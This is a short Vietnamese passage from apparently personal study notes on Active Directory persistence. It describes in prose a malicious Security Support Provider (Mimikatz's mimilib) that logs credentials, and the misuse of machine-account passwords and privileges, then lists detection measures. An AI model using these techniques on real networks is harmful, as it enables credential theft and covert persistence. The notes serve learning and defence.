  • Malicious Security Support Provider (SSP): kỹ thuật này lợi dụng SSP để thêm một module độc hại (như mimilib của Mimikatz) vào hệ thống. Module này sẽ ghi lại tất cả thông tin đăng nhập của người dùng và lưu vào một file hoặc gửi đến một network location. Điều này cho phép kẻ tấn công thu thập thông tin xác thực của người dùng và duy trì quyền truy cập vào hệ thống mà không bị phát hiện.
  • Computer Accounts: mật khẩu của machine account thường được thay đổi mỗi 30 ngày. Tuy nhiên, kẻ tấn công có thể thay đổi mật khẩu của machine account để ngừng việc thay đổi tự động này. Sau đó, họ cấp quyền quản trị cho machine account trên các máy khác, cho phép họ sử dụng tài khoản này như một tài khoản bình thường, mà không dễ bị phát hiện vì quyền quản trị là điều bình thường trong AD.

Mitigations

  • Các sự kiện đăng nhập bất thường có thể là dấu hiệu của việc duy trì quyền truy cập.
  • Với mỗi kỹ thuật ở trên, detection rule cụ thể có thể được triển khai chẳng hạn như khi password của machine account bị thay đổi, ACLs được cập nhật một cách thường xuyên hoặc có các GPO mới được tạo ra.
list
from outgoing([[Persisting Active Directory]])
sort file.ctime asc

Resources